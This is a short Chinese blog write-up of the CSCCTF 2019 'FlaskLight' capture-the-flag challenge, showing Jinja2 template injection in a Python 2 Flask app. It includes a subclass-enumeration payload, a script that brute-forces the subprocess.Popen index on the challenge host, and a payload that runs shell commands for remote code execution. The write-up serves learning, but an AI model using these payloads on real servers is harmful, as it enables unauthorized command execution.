[CSCCTF 2019 Qual]FlaskLight 記錄

Penson.SopRomeo發表於2020-10-09

這個根據題目名字,flask模板注入,找注入點
在這裡插入圖片描述

檢視原始碼發現GET傳參
直接測試模板注入
在這裡插入圖片描述
存在sql注入
常規模板注入
試了試之前做過的模板注入,都行不通
然後百度了一波,原來這是python2的
難怪不行

{{''.__class__.__mro__[2].__subclasses__()}}

利用這個可以讀取所有的類,然後看看能不能RCE
找到catch_warnings類,
在這裡插入圖片描述
但是無法RCE
看了wp,發現可以利用subprocess.Popen這個類來進行RCE
學廢了
網上搜的模板注入,都沒說這個類,emmmm
找索引

import requests
import html
import time

for i in range(0,300):
    time.sleep(0.06)
    url='http://4d0aed10-26a2-4108-8b17-9c8aa555ca2d.node3.buuoj.cn?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d]}}' %(i)
    r = requests.get(url)
    print(url)
    if "subprocess.Popen" in html.unescape(r.text):
        print(i)
        break

在這裡插入圖片描述
索引為258
payload

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

檢視flasklight目錄
在這裡插入圖片描述
另外一個就是flag